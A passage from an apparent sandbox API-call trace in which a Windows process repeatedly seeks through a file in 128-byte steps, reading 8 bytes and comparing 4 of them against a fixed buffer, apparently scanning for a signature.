hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80 [0069.182] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.182] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.182] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6080 [0069.183] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.183] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.183] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6100 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=24960, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6180 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6280 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6380 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6480 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=25984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6580 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.184] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6680 [0069.184] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.184] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6780 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6880 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6980 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a80 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b80 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c80 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.185] SetFilePointer (in: hFile=0xcc, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00 [0069.185] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.185] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d80 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e80 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f80 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7080 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7180 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.186] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.186] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7280 [0069.186] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: 